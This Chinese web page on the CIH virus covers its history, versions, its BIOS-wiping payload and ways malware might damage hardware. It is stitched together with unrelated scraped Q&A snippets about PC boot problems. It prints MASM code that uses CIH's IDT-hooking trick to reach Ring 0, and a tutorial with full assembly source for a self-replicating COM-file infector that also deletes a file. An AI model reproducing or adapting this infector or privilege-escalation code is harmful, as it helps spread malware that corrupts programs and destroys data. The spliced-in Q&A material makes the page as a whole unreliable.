CIH病毒破壞計(jì)算機(jī)的什么硬件? CIH病毒損壞計(jì)算機(jī)的什么硬件
藏王 發(fā)表于 2005-3-18 21:04:24
CIH病毒的由來
CIH首先在臺(tái)灣被發(fā)現(xiàn),根據(jù)臺(tái)北官方的報(bào)告,計(jì)算機(jī)病毒是由24歲的陳盈豪(Chen Ing-Halu)編制的,由于其名字第一個(gè)字母分別為C、I、H,所以這可能是計(jì)算機(jī)病毒名稱的由來。
--------------------------------------------------------------------------------
CIH病毒的簡介
它是迄今為止發(fā)現(xiàn)的最陰險(xiǎn)的病毒之一。它發(fā)作時(shí)不僅破壞硬盤的引導(dǎo)區(qū)和分區(qū)表,而且破壞計(jì)算機(jī)系統(tǒng)flashBIOS芯片中的系統(tǒng)程序,導(dǎo)致主板損壞。CIH病毒是發(fā)現(xiàn)的首例直接破壞計(jì)算機(jī)系統(tǒng)硬件的病毒。
--------------------------------------------------------------------------------
CIH病毒的發(fā)展歷程
CIH病毒v1.0版本:
最初的V1.0版本僅僅只有656字節(jié),其雛形顯得比較簡單,與普通類型的病毒在結(jié)構(gòu)上并無多大的改善,其最大的"賣點(diǎn)"是在于其是當(dāng)時(shí)為數(shù)不多的、可感染Microsoft Windows PE類可執(zhí)行文件的病毒之一, 被其感染的程序文件長度增加,此版本的CIH不具有破壞性。
CIH病毒v1.1版本:
當(dāng)其發(fā)展到v1.1版本時(shí),病毒長度為796字節(jié),此版本的CIH病毒具有可判斷WinNT軟件的功能,一旦判斷用戶運(yùn)行的是WinNT,則不發(fā)生作用,進(jìn)行自我隱藏,以避免產(chǎn)生錯(cuò)誤提示信息,同時(shí)使用了更加優(yōu)化的代碼,以縮減其長度。此版本的CIH另外一個(gè)優(yōu)秀點(diǎn)在于其可以利用WIN PE類可執(zhí)行文件中的"空隙",將自身根據(jù)需要分裂成幾個(gè)部分后,分別插入到PE類可執(zhí)行文件中,這樣做的優(yōu)點(diǎn)是在感染大部分WINPE類文件時(shí), 不會(huì)導(dǎo)致文件長度增加。
CIH病毒v1.2版本:
當(dāng)其發(fā)展到v1.2版本時(shí),除了改正了一些v1.1版本的缺陷之外,同時(shí)增加了破壞用戶硬盤以及用戶主機(jī) BIOS程序的代碼,這一改進(jìn),使其步入惡性病毒的行列,此版本的CIH病毒體長度為1003字節(jié)。
CIH病毒v1.3版本:
原先v1.2版本的CIH病毒最大的缺陷在于當(dāng)其感染ZIP自解壓包文件(ZIP self-extractors file)時(shí),將導(dǎo)致此ZIP壓縮包在自解壓時(shí)出現(xiàn):
WinZip Self-Extractor header corrupt.
Possible cause: disk or file transfer error.
的錯(cuò)誤警告信息。v1.3版本的CIH病毒顯得比較倉促,其改進(jìn)點(diǎn)便是針對(duì)以上缺陷的,它的改進(jìn)方法是:一旦判斷開啟的文件是WinZip類的自解壓程序,則不進(jìn)行感染。同時(shí),此版本的CIH病毒修改了發(fā)作時(shí)間。v1.3 版本的CIH病毒長度為1010字節(jié)。
CIH病毒v1.4版本:
此版本的CIH病毒改進(jìn)上上幾個(gè)版本中的缺陷,不感染ZIP 自解壓包文件,同時(shí)修改了發(fā)作日期及病毒中的版權(quán)信息(版本信息被更改為:"CIH v1.4 TATUNG",在以前版本中的相關(guān)信息為"CIH v1.x TTIT"),此版本的長度為1019字節(jié)。
從上面的說明中,我們可以看出,實(shí)際上,在CIH的相關(guān)版本中,只有v1.2、v1.3、v1.4這3 個(gè)版本的病毒具有實(shí)際的破壞性,其中v1.2版本的CIH病毒發(fā)作日期為每年的4月26日,這也就是當(dāng)前最流行的病毒版本,v1.3 版本的發(fā)作日期為每年的6月26日,而CIH v1.4版本的發(fā)作日期則被修改為每月的26日,這一改變大大縮短了發(fā)作期限,增加了其的破壞性。
--------------------------------------------------------------------------------
CIH的特征和行蹤
來自權(quán)威部門的消息說,CIH是一個(gè)純粹的Windows95/98病毒,這個(gè)病毒很獨(dú)特地使用了 WindowsVxD(虛擬設(shè)備驅(qū)動(dòng)程序)技術(shù);該病毒發(fā)作時(shí),硬盤一直轉(zhuǎn)個(gè)不停,所有數(shù)據(jù)都被破壞,硬盤分區(qū)信息也將丟失;再有就是 CIH病毒發(fā)作時(shí)也可能會(huì)破壞某些類型的主板上的電可改寫只讀存儲(chǔ)器(E2PROM)的BIOS。BIOS即電腦中的"基本輸入/輸出系統(tǒng)", 存放的是系統(tǒng)最基本的硬件參數(shù)和驅(qū)動(dòng)程序,一旦被破壞則系統(tǒng)根本無法啟動(dòng),唯一的修復(fù)途徑就是送回廠家重新燒入BIOS。此時(shí)如果用戶不想送回廠家"重?zé)?quot;,而使用BIOS升級(jí)軟件重新燒入BIOS,升級(jí)軟件將報(bào)告"E2PROM型號(hào)不對(duì)"的錯(cuò)誤。這就是說, CIH病毒已具備了對(duì)硬件的相當(dāng)破壞能力,它可以徹底摧毀計(jì)算機(jī)。
一般用戶都知道,傳統(tǒng)意義上的病毒破壞的是數(shù)據(jù)而非硬件。因此,經(jīng)常進(jìn)行數(shù)據(jù)備份與軟件更新,能夠一定程度上防止數(shù)據(jù)文件被病毒破壞,而且即使文件被傳染病毒,也可使用反病毒軟件加以清除,至少可以盡最大可能恢復(fù)系統(tǒng)。防病毒專家認(rèn)為,威脅到計(jì)算機(jī)硬件的 CIH的出現(xiàn),意味著病毒與反病毒的技術(shù)較量已開始發(fā)生質(zhì)的改變。
"根據(jù)初步跟蹤分析,CIH病毒是從海外傳入內(nèi)地的"北京冠群金辰軟件有限公司反病毒專家王鐵肩介紹說: "目前該病毒的傳播主要通過互聯(lián)網(wǎng)和電子郵件,當(dāng)然隨著時(shí)間的推移,其傳播主要還是通過軟盤或光盤。"據(jù)權(quán)威病毒搜集網(wǎng)獲得的信息, CIH病毒"原體"加"變種"一共有五種,它們的相互區(qū)別在于"原體"會(huì)使受感染文件增長,但不具破壞力;而"變種"不增長受感染文件,但有很強(qiáng)的破壞性,它們的發(fā)作時(shí)間分別為 4月26日、 6月26日和每月的26日。
--------------------------------------------------------------------------------
CIH 病毒原理的應(yīng)用--物理內(nèi)存的讀寫
Windows 95/98應(yīng)用程序無法直接讀寫物理內(nèi)存,如果使用VxD編程,可以調(diào)用VMM功能_MapPhysToLinear 將物理地址映射到線性地址再進(jìn)行修改,但是這樣就必須單獨(dú)寫一個(gè)VxD,比較麻煩,那么能不能在應(yīng)用程序中直接調(diào)用VMM功能呢?一般不能,因?yàn)閂MM功能要在Ring 0上調(diào)用,而一般的應(yīng)用程序工作在Ring 3上,那么為什么CIH 病毒能夠調(diào)用VMM功能呢,CIH病毒使用了一種技術(shù),采用Intel處理器的中斷從Ring 3轉(zhuǎn)到Ring 0,我們完全可以借鑒這種技術(shù)來調(diào)用VMM功能, 下面的程序演示了如何修改物理內(nèi)存--以在Windows 95加密程序中修改加密扇區(qū)大小(物理地址0000:0525H)為例:
;****************************************************************************
;* Windows 95加密軟件核心模塊之一--磁盤扇區(qū)大小修改程序 *
;* *
;* 本程序在Windows 95下修改內(nèi)存物理地址0000:0525 處的磁盤扇區(qū)大小字節(jié), *
;* 為了能夠修改物理地址,本程序使用了VMM 功能_MapPhysToLinear將物理地址映射 *
;* 到線性地址進(jìn)行修改。為了在應(yīng)用程序中調(diào)用VMM 功能,本程序使用了CIH 病毒的 *
;* 原理,使用中斷將系統(tǒng)由Ring 3轉(zhuǎn)到Ring 0,然后調(diào)用VMM 功能。 *
;* 本程序中的過程ChangeSectorSize在VC中的原型可以寫成: *
;* *
;* void _stdcall ChangeSectorSize(BYTE SectorSize); *
;****************************************************************************
.386p
.model flat,stdcall
;修改的中斷號(hào),如果本中斷號(hào)改成3則可以防止Soft-ICE跟蹤!
HookExceptionNo EQU 05h
.data
IDTR_1 db 6 dup(0) ;保存中斷描述符表寄存器
OldExceptionHook dd 0 ;保存原先的中斷入口地址
.code
;修改扇區(qū)大小過程
ChangeSectorSize PROC SectorSize:BYTE
push eax
;獲取修改的中斷的中斷描述符(中斷門)地址
sidt IDTR_1
mov eax,dword ptr IDTR_1+02h
add eax,HookExceptionNo*08h+04h
cli
;保存原先的中斷入口地址
push ecx
mov ecx,dword ptr [eax]
mov cx,word ptr [eax-04h]
mov dword ptr OldExceptionHook,ecx
pop ecx
;設(shè)置修改的中斷入口地址為新的中斷處理程序入口地址
push ebx
lea ebx,NewExceptionHook
mov word ptr [eax-04h],bx
shr ebx,10h
mov word ptr [eax+02h],bx
pop ebx
;執(zhí)行中斷,轉(zhuǎn)到Ring 0(與CIH 病毒原理相似!)
push ebx
mov bl,byte ptr SectorSize ;扇區(qū)大小保存在bl寄存器中
int HookExceptionNo
pop ebx
;恢復(fù)原先的中斷入口地址
push ecx
mov ecx,dword ptr OldExceptionHook
mov word ptr [eax-04h],cx
shr ecx,10h
mov word ptr [eax+02h],cx
pop ecx
;修改扇區(qū)大小過程結(jié)束
sti
pop eax
ret
ChangeSectorSize ENDP
;新的中斷處理程序
NewExceptionHook PROC
push eax
push ebx
push ecx
push edx
push esi
;修改扇區(qū)大小
push dword ptr 00000000h ;必須為0
push dword ptr 00000001h ;字節(jié)數(shù)
push dword ptr 00000525h ;物理地址0000:0525
int 20h
dd 0001006ch ;以上兩條指令相當(dāng)于 VMMCall _MapPhysToLinear
pop esi
pop esi
pop esi
mov byte ptr [eax],bl ;修改扇區(qū)大小
;中斷處理程序結(jié)束
pop esi
pop edx
pop ecx
pop ebx
pop eax
iretd
NewExceptionHook ENDP
end
本過程可以被C語言調(diào)用,編譯方法:ml /c /coff w95enc.asm。請(qǐng)用MASM 6.11以上版本編譯,不需要DDK。將編譯生成的OBJ文件插入VC的工程中,并在VC程序中寫上函數(shù)原型說明,就可以調(diào)用了。
--------------------------------------------------------------------------------
病毒是怎樣破壞硬件的
最近,CIH病毒把大家搞得人心惶惶,掀起了不小的波瀾。以前的各種病毒最多只能破壞硬盤數(shù)據(jù),而CIH 卻能侵入主板上的Flash BIOS,破壞其內(nèi)容而使主板報(bào)廢。CIH的教訓(xùn)告訴我們:不要輕視病毒對(duì)硬件的破壞。 很多人現(xiàn)在已經(jīng)開始擔(dān)憂:CIH越來越兇猛,同時(shí)會(huì)不會(huì)有更多的破壞硬件的病毒出現(xiàn)?
其實(shí),本人分析了一下。病毒破壞硬件的"手段",不外乎有以下幾種:
1.破壞顯示器
眾所周知,每臺(tái)顯示器都有自已的帶寬和最高分辨率、場頻。早期生產(chǎn)的14英寸彩色顯示器,帶寬大約只有35-45MHz,對(duì)應(yīng)的最高分辯率為1024×768@60Hz場頻;目前的14英寸彩色顯示器,帶寬大都有60MHz,對(duì)應(yīng)的最高分辨率為1024×768@75Hz場頻;15英寸彩色顯示器(高檔的),帶寬有110MHz,對(duì)應(yīng)的最高分辨率為1280×1024@85Hz場頻。大家可以查看一下顯示器的說明書,上面都有場頻與最高分辨率的配合。若其中有一項(xiàng)超過,就會(huì)出現(xiàn)花屏,嚴(yán)重了就會(huì)燒壞顯示器。病毒可以通過篡改顯示參數(shù)來破壞顯示器(如把分辨率、場頻改到顯卡能支持的最高檔等)。雖然新型顯示器有DDC標(biāo)準(zhǔn)化與系統(tǒng)聯(lián)絡(luò),但病毒想鉆空子并不難。所以大家如果發(fā)現(xiàn)在使用過程中顯示器出現(xiàn)了花屏, 要立即關(guān)掉顯示器的電源,重新啟動(dòng)后進(jìn)入安全模式再找原因。
2.超外頻、加電壓破壞CPU、顯卡、內(nèi)存等
目前新型主板采用"軟跳線"的越來越多,這正好給病毒以可乘之機(jī)。所謂"軟跳線" 是指在BIOS中就能改動(dòng)CPU的電壓、外頻和倍頻。病毒可以通過改BIOS參數(shù),加高CPU電壓使其過熱而燒壞,或提高CPU的外頻,使CPU和顯卡、內(nèi)存等外設(shè)超負(fù)荷工作而過熱燒壞。這類事件的前兆就是死機(jī)。所以,如果發(fā)現(xiàn)機(jī)器經(jīng)常死機(jī),就要趕緊到 CMOS中看看以上參數(shù)是否有改動(dòng)。可喜的是,目前很多新出的主板都有CPU溫度監(jiān)測功能,超溫后立即降頻報(bào)警,可以基本杜絕燒壞硬件的情況發(fā)生。
3.超"顯頻"破壞顯卡
目前很多中高檔顯卡如Voodoo等都可以手動(dòng)改變其芯片的頻率,并且改的方法更簡單:在Windows 9x注冊(cè)表里改。病毒改動(dòng)了"顯頻",顯卡也就容易超負(fù)荷工作而燒壞。這種事件的前兆也是死機(jī)。所以,死機(jī)時(shí)也不要忽視對(duì)"顯頻"的檢查。另外還有一種減少燒壞顯卡的可能性的辦法,那就是……(什么?你已經(jīng)安了兩個(gè)風(fēng)扇了!?)
4.破壞光驅(qū)
光驅(qū)中的光頭在讀不到信號(hào)時(shí)就會(huì)加大激光發(fā)射功率,這樣長期下去對(duì)光驅(qū)的壽命極為不利。有人做實(shí)驗(yàn),讓正常的光驅(qū)不停的讀取一張劃痕很多,信號(hào)較弱的光盤,28小時(shí)以后光驅(qū)就完蛋了。病毒可以讓光頭走到盤片邊緣無信號(hào)區(qū)域不停的讀盤,結(jié)果光頭讀不到信號(hào),便加大發(fā)射功率不停地讀,要不了幾天,光驅(qū)就要"No Disc"了。 所以要經(jīng)常注意光驅(qū)燈的閃亮情況,判斷光驅(qū)是否在正常工作。
5.破壞主板、顯卡的Flash BIOS
這就是現(xiàn)在的CIH病毒破壞主板的方式。病毒用亂碼沖掉了BIOS中的內(nèi)容,使機(jī)器不能啟動(dòng)。 不過現(xiàn)在很多主板都有帶有Flash BIOS寫保護(hù)跳線,可以有效的防止CIH病毒破壞主板。但是不要忘了,很多顯卡也有Flash BIOS, 說不定哪一天就會(huì)冒出一種破壞顯卡BIOS的病毒。所以還是小心一點(diǎn)為好,這可沒有什么特效藥啊!
6.破壞硬盤
大家都知道,分區(qū)、高級(jí)格式化對(duì)硬盤都沒有什么損傷,惟獨(dú)低級(jí)格式化對(duì)硬盤的壽命有較大的影響。據(jù)說硬盤做上10次低級(jí)格式化就會(huì)報(bào)廢。如果出現(xiàn)一種病毒,不停的對(duì)硬盤的0磁道做低格式化(做10次最多只需用幾秒鐘!),0道壞了再做1道……你的硬盤容量就會(huì)一點(diǎn)一點(diǎn)(這一點(diǎn)好不小啊!)地被蠶食,而且0、1、2……道壞了,要想再使用該硬盤,就得在BIOS中重新設(shè)定起始磁道,再低級(jí)格式化,非常麻煩。其實(shí),該病毒有一個(gè)非常簡單而有效的預(yù)防方法,那就是將BIOS中的Boot Sector Virus Protection(引導(dǎo)區(qū)病毒寫保護(hù))設(shè)為Enable(打開)。筆者做過實(shí)驗(yàn),將上述開關(guān)打開的情況下,使用各種低級(jí)格式化軟件(包括BIOS中自帶的)對(duì)硬盤進(jìn)行低格,BIOS都會(huì)報(bào)警(報(bào)告說有程序企圖重寫引導(dǎo)區(qū),問是否繼續(xù)),按N就可以防止。要知道BIOS程序掌管著系統(tǒng)的最高控制權(quán), 應(yīng)該沒有什么東西可以沖破其防線(你按Y是另外一回事)。若發(fā)現(xiàn)上述情況,趕緊Reset,然后進(jìn)行殺毒不過,如果你是在裝Win 98等操作系統(tǒng)或System Commander等軟件時(shí)碰到該情況,就大可不必理會(huì)它,困為這些軟件安裝時(shí)都有要重寫引導(dǎo)區(qū)。不過勸你安裝這些軟件時(shí)最好先把寫保護(hù)關(guān)掉,否則容易出現(xiàn)死機(jī)現(xiàn)象!
7.浪費(fèi)噴墨打印機(jī)的墨水噴墨打印機(jī)的噴頭特別容易堵塞,為此打印機(jī)公司特別發(fā)明了專門浪費(fèi)墨水的"清洗噴頭"功能,即讓大量墨水沖出噴頭,清除雜物。這項(xiàng)功能可以用軟件控制實(shí)現(xiàn),于是乎病毒便神不知鬼不覺的一次次調(diào)用該功能,而你卻對(duì)打印機(jī)的呻吟聲卻聽而不見。當(dāng)你發(fā)現(xiàn)時(shí),大量的墨已經(jīng)被浪費(fèi)了。這種病毒唯一的預(yù)防辦法就是……不用打印機(jī)時(shí)把打印機(jī)關(guān)了。其實(shí),只要你常注意一下打印機(jī)上的模式燈就可以了,清洗噴頭時(shí)它通常是一閃閃的。另外還要仔細(xì)傾聽它的呻吟聲,清洗噴頭時(shí)打印頭總是要來回走動(dòng)幾下的(為了加熱)。
一口氣寫了7條,其實(shí)大家心里明白,破壞硬件的歪點(diǎn)子多著呢!本文只是想為剛從CIH陰影中爬出的朋友提個(gè)醒:成功之路千萬條(當(dāng)然是編病毒者的成功),打死CIH,還有后來者。千萬要發(fā)揚(yáng)各種精神, 保護(hù)你的血汗錢筑成的電腦!另外,本文中幾乎每一條都有附預(yù)防辦法(雖然有些看起來像廢話),但這些辦法也不是萬能的(還要注意不能顧此失彼),以后誰的"雞"若被新病毒搞壞了,我可不負(fù)責(zé)任喲!
CIH是使用什么方法進(jìn)行感染的?
就技巧而言,其原理主要是使用Windows的VxD(虛擬設(shè)備驅(qū)動(dòng)程序)編程方法,使用這一方法的目的是獲取高的CPU權(quán)限,CIH病毒使用的方法是首先使用SIDT取得IDT base address(中斷描述符表基地址),然后把IDT的INT 3的入口地址改為指向CIH自己的INT3程序入口部分,再利用自己產(chǎn)生一個(gè)INT 3指令運(yùn)行至此CIH自身的INT 3入口程序 出,這樣CIH病毒就可以獲得最高級(jí)別的權(quán)限(即權(quán)限0),接著病毒將檢查DR0寄存器的值是否為0,用以判斷先前是否有CIH病毒已經(jīng)駐留。如DR0的值不為0,則表示CIH病毒程式已駐留,則此CIH副本將恢復(fù)原先的INT 3入口,然后正常退出(這一特點(diǎn)也可以被我們利用來欺騙CIH程序,以防止它駐留在內(nèi)存中,但是應(yīng)當(dāng)防止其可能的后繼派生版本)。如果判斷DR0值為0,則CIH病毒將嘗試進(jìn)行駐留,其首先將當(dāng)前EBX寄存器的值賦給DR0寄存器,以生成駐留標(biāo)記,然后調(diào)用INT 20中斷,使用VxD call Page Allocate系統(tǒng)調(diào)用,要求分配Windows系統(tǒng)內(nèi)存(system memory),Windows系統(tǒng)內(nèi)存地址范圍為C0000000h~FFFFFFFFh,它是用來存放所有的虛擬驅(qū)動(dòng)程序的內(nèi)存區(qū)域, 如果程序想長期駐留在內(nèi)存中,則必須申請(qǐng)到此區(qū)段內(nèi)的內(nèi)存,即申請(qǐng)到影射地址空間在C0000000h以上的內(nèi)存。
如果內(nèi)存申請(qǐng)成功,則接著將從被感染文件中將原先分成多段的病毒代碼收集起來,并進(jìn)行組合后放到申請(qǐng)到 的內(nèi)存空間中,完成組合、放置過程后,CIH病毒將再次調(diào)用INT 3中斷進(jìn)入CIH病毒體的INT 3入口程序,接著調(diào)用INT20來完成調(diào)用一個(gè)IFSMgr_InstallFileSystemApiHook的子程序,用來在文件系統(tǒng)處理函數(shù)中掛接鉤子,以截取
文件調(diào)用的操作,接著修改IFSMgr_InstallFileSystemApiHook的入口,這樣就完成了掛接鉤子的工作,同時(shí)Windows默認(rèn)的IFSMgr_Ring0_FileIO(InstallableFileSystemManager,IFSMgr)。服務(wù)程序的入口地址將被保留,以便于CIH病毒調(diào)用,這樣,一旦出現(xiàn)要求開啟文件的調(diào)用,則CIH將在第一時(shí)間截獲此文件,并判斷此文件是否為PE格式的可執(zhí)行文件,如果是,則感染,如果不是,則放過去,將調(diào)用轉(zhuǎn)接給正常的Windows IFSMgr_IO服務(wù)程序。CIH
不會(huì)重復(fù)多次地感染PE格式文件,同時(shí)可執(zhí)行文件的只讀屬性是否有效,不影響感染過程,感染文件后,文件的日期與時(shí)間信息將保持不變。對(duì)于絕大多數(shù)的PE程序,其被感染后,程序的長度也將保持不變,CIH 將會(huì)把自身分成多段,插入到程序的空域中。完成駐留工作后的CIH病毒將把原先的IDT中斷表中的INT 3入口恢復(fù)成原樣。
病毒的編寫是一種高深技術(shù),真正的病毒一般都具有:傳染性、隱藏性(又稱潛伏性)、破壞性。現(xiàn)在的病毒種類也不少,如平常的傳染可執(zhí)行文件的病毒、宏病毒等等。但原始的、破壞性最大的病毒還是傳染可執(zhí)行文件的病毒(像CIH病毒),而這些病毒一般都是用匯編語言編寫的。有許多人對(duì)病毒有著好奇和向往,但是往往又因?yàn)閰R編語言的難學(xué)等問題望而卻步。
這篇文章就是教給大家如何制作一個(gè)簡單的程序,這個(gè)程序雖然算不上病毒但是具有病毒的傳染性,而往往病毒的傳染性是平常人最難做到的。
好啦,現(xiàn)在轉(zhuǎn)入正題,先講講病毒是如何傳染的,傳染后又如何在被染的文件中執(zhí)行的,其實(shí)道理非常簡單:病毒一般將其代碼寫入執(zhí)行文件的尾部,然后使執(zhí)行文件在執(zhí)行時(shí)先執(zhí)行文件尾部的病毒代碼,然后再跳回原代碼處執(zhí)行。現(xiàn)在舉一個(gè)試?yán)M(jìn)行說明:
;-----------------------------------------
;功能:感染當(dāng)前文件夾的test.com文件
; 并刪除當(dāng)前文件夾的del.txt文件
; 顯示預(yù)設(shè)的字符串
CSEG SEGMENT
ASSUME CS:CSEG,DS:CSEG,SS:CSEG
main PROC NEAR
mainstart:
CALL vstart ;病毒的代碼開始處
vstart:
POP SI ;得到當(dāng)前地址
MOV BP,SI ;保存當(dāng)前地址
PUSH SI
MOV AH,9
ADD SI,OFFSET message-OFFSET vstart ;顯示預(yù)設(shè)字符串
MOV DX,SI
INT 21h
POP SI
ADD SI,OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四個(gè)字節(jié)
MOV DI,100h ;目的地址
MOV AX,DS:[SI] ;開始復(fù)制
MOV DS:[DI],AX
INC SI
INC SI
INC DI
INC DI
MOV AX,DS:[SI]
MOV DS:[DI],AX
MOV SI,BP ;恢復(fù)地址值
MOV DX,OFFSET delname-OFFSET vstart
ADD DX,SI
MOV AH,41h
INT 21h
MOV DX,OFFSET filename-OFFSET vstart ;得到文件名
ADD DX,SI
MOV AL,02
MOV AH,3dh ;寫文件
INT 21h
JC error
MOV BX,AX ;文件句柄
MOV DX,OFFSET yuan4byte-OFFSET vstart ;讀文件的前四個(gè)字節(jié)
ADD DX,SI
MOV CX,4
MOV AH,3fh
INT 21h
MOV AX,4202h ;到文件尾
XOR CX,CX
XOR DX,DX
INT 21h
MOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方
ADD DI,2
ADD DI,SI
SUB AX,4
MOV DS:[DI],AX
ADD SI,OFFSET mainstart-OFFSET vstart ;準(zhǔn)備寫入病毒
MOV DX,SI
MOV vsizes,OFFSET vends-OFFSET mainstart
MOV CX,vsizes
MOV AH,40h
INT 21h
MOV SI,BP ;定位到文件頭
MOV AL,0
XOR CX,CX
XOR DX,DX
MOV AH,42h
INT 21h
MOV AH,40h ;將新的文件頭寫入
MOV CX,4
MOV DX,OFFSET new4byte-OFFSET vstart
ADD DX,SI
INT 21h
MOV AH,3eh ;關(guān)閉文件
INT 21h
error:
MOV AX,100h
PUSH AX
RET
main ENDP
yuan4byte:
RET
DB 3 DUP (?)
vsizes DW 0
new4byte DB ‘M‘,0e9h,0,0
filename DB "test.com",0
delname DB "del.txt",0
message DB "He he he he!"
DB 0dh,0ah,"$"
vends:
start:
MOV AX,CSEG
MOV DS,AX
MOV SS,AX
CALL main
MOV AX,4c00h
INT 21h
CSEG ENDS
END start
以上就是一個(gè)簡單的可以傳染COM文件的程序代碼, 也是想當(dāng)初我所做的具有傳染性質(zhì)的第一個(gè)程序。如何???不難吧。
附:
COM文件執(zhí)行時(shí)將COM文件內(nèi)所的所有內(nèi)容COPY到內(nèi)存, 起始地址是100,然后進(jìn)行執(zhí)行
沒有任何有關(guān)節(jié)啦、段啦這些屬性,所以COM文件病毒是最簡單最簡單的病毒。
以2048個(gè)扇區(qū)為單位,從硬盤主引導(dǎo)區(qū)開始依次往硬盤中寫入垃圾數(shù)據(jù),直到硬盤數(shù)據(jù)被全部破壞為止。最壞的情況下硬盤所有數(shù)據(jù)(含全部通過向主板BIOS中寫入垃圾數(shù)據(jù)來對(duì)硬件系統(tǒng)進(jìn)行永久性破壞,邏輯盤數(shù)據(jù))均被破壞; 某些主板上的Flash Rom中的BIOS信息將被清除;
直接破壞BIOS,導(dǎo)致主板無法使用.需特殊方法才有可能修復(fù)
主扳
和硬盤
重裝系統(tǒng)后電腦打不開了怎么辦重裝系統(tǒng)后電腦為什么還是開不了機(jī)怎么...
1、硬盤的主引導(dǎo)記錄破壞,或者分區(qū)表破壞,也會(huì)造成無法讀出硬盤,導(dǎo)至無法引導(dǎo)系統(tǒng)。 2、操作系統(tǒng)被破壞了,或者中毒,造成嫌核操作系統(tǒng)無法引導(dǎo)。 3、主板BIOS的第一啟動(dòng)項(xiàng)沒有設(shè)置好(通常是設(shè)為光驅(qū)和硬盤)也會(huì)導(dǎo)至無法引導(dǎo)系統(tǒng)。 重裝系統(tǒng)是指對(duì)計(jì)算機(jī)的操作系統(tǒng)進(jìn)行重新安裝。當(dāng)用戶誤操作或病毒、木馬程序的破壞...
今天電腦一開機(jī)就是黑屏,只有一個(gè)小白色線條在那里不停的閃。無法開機(jī)...
F4,F(xiàn)11,但大部分電腦是安DELETE。),直到出現(xiàn)BIOS設(shè)置窗口,然 后用方向鍵,你找到“Advanced BIOS Features---BOOT Device Priority---1St BOOT Device ( 1ST FLOPPY DRIVE 代表軟驅(qū) SATA:SM-WDC WD5000 代表硬盤 CD\/DVD :PS-ATAPI IH 代表光驅(qū))只要在這里按下ENTER 選中CD\/DVD或者SATA,然后...
系統(tǒng)恢復(fù)中電腦重啟了怎么辦
1. 我的電腦在系統(tǒng)還原之后會(huì)無故重啟,怎么辦 一、軟件 1.病毒破壞 自從有了計(jì)算機(jī)以后不久,計(jì)算機(jī)病毒也應(yīng)運(yùn)而生。 當(dāng)網(wǎng)絡(luò)成為當(dāng)今社會(huì)的信息大動(dòng)脈后,病毒的傳播更加方便,所以也時(shí)不時(shí)的干擾和破壞我們的正常工作。比較典型的就是前一段時(shí)間對(duì)全球計(jì)算機(jī)造成嚴(yán)重破壞的“沖擊波”病毒,發(fā)作時(shí)還會(huì)提示系統(tǒng)將在60...
電腦開機(jī)顯示有個(gè)光標(biāo)怎么關(guān)電腦開機(jī)只有一個(gè)光標(biāo)是什么原因
‘貳’ 電腦開機(jī)只有一個(gè)光標(biāo)是什么原因電腦開機(jī)只顯示一個(gè)光標(biāo)不進(jìn)XP系統(tǒng)可以通過以下方法來解決:1、最后一次正確的配置:在開機(jī)啟動(dòng)未進(jìn)入到操作系統(tǒng)之前按下F8鍵,選擇“最后一次正確的配置”然后回車即可。此方法只能解決因出現(xiàn)配置問題進(jìn)不了系統(tǒng)的情況(例如更換新硬件或加載新驅(qū)動(dòng)后造成的藍(lán)屏),由于此方法操作簡單...
電腦開機(jī)后軟件無響應(yīng)電腦開機(jī)后點(diǎn)擊應(yīng)用程序沒反應(yīng)是怎么回事_百度知 ...
1、電腦程序打開過多,導(dǎo)致處理器運(yùn)行負(fù)擔(dān)加重,引起反應(yīng)不過來,這種情況我們可以在任務(wù)管理器中查看CPU的使用比例來查看、如果是使用90%以上,那么就很可能是處理器運(yùn)行不過來,導(dǎo)致了,一般等待一下就會(huì)好。 2、引起電腦程序無響應(yīng)的另外一個(gè)原因可能是程序問題,比如程序由于中病毒,導(dǎo)致電腦運(yùn)行程序進(jìn)入死循環(huán),那么肯定電...
筆記本無法識(shí)別硬盤怎么辦?
F4,F(xiàn)11,但大部分電腦是安DELETE。),直到出現(xiàn)BIOS設(shè)置窗口,然后用方向鍵,找到“Advanced BIOS Features---BOOT Device Priority---1St BOOT Device ( 1ST FLOPPY DRIVE 代表軟驅(qū) SATA:SM-WDC WD5000 代表硬盤 CD\/DVD :PS-ATAPI IH 代表光驅(qū))只要在這里按下ENTER 選中CD\/DVD或者SATA,...
電腦好久沒用了打開黑屏字母電腦開機(jī)出現(xiàn)黑屏英文字母怎么解決_百度...
5、使計(jì)算機(jī)進(jìn)入睡眠狀態(tài)改為"從不" 6、保存修改 ‘貳’ 電腦開機(jī)黑屏 顯示字母怎么幫 電腦黑屏的原因很多,常見的有:顯示數(shù)據(jù)線接觸不良;主板沒有供電;顯卡接觸不良或;cpu 接觸不良及過熱;內(nèi)存條接觸不良;電源性能差;機(jī)器感染 cih 病毒,bios 被破壞性刷新。微軟黑屏,請(qǐng)打補(bǔ)丁。 這類問題多數(shù)是內(nèi)存和顯卡的關(guān)系...
你好,我的電腦文件圖片打不開,顯示系統(tǒng)錯(cuò)誤,也重啟電腦了還是不行_百...
1、重啟電腦。2、在電腦顯示完硬件信息之后,進(jìn)入windows界面之前,按F8鍵。3、在出現(xiàn)的選項(xiàng)菜單中選擇:最后一次正確配置。4、選定后回車,電腦自動(dòng)進(jìn)入系統(tǒng)。5、進(jìn)入系統(tǒng)后,電腦已經(jīng)恢復(fù)到最后一次正確配置。提示:如果恢復(fù)最后一次正確配置后,系統(tǒng)仍然出錯(cuò),那就只能重新安裝或者還原操作系統(tǒng)了。
電腦開機(jī)光標(biāo)不動(dòng)電腦開機(jī)后顯示一個(gè)光標(biāo)就不動(dòng)了
但關(guān)鍵是:要有兼容性好的(兼容ide、achi、Raid模式的安裝)并能自動(dòng)永久激活的、能夠自動(dòng)安裝機(jī)器硬件驅(qū)動(dòng)序的系統(tǒng)盤,這就可以全程自動(dòng)、順利重裝系統(tǒng)了。方法如下:1、U盤安裝:用ultraiso軟件,打開下載好的系統(tǒng)安裝盤文件(ISO文件),執(zhí)行“寫入映像文件”把U盤插到電腦上,點(diǎn)擊“確定”,等待程序...
電腦win7開機(jī)出現(xiàn)兩行英文怎么辦Win7開不了機(jī)一開機(jī)就出現(xiàn)兩行英文字母...
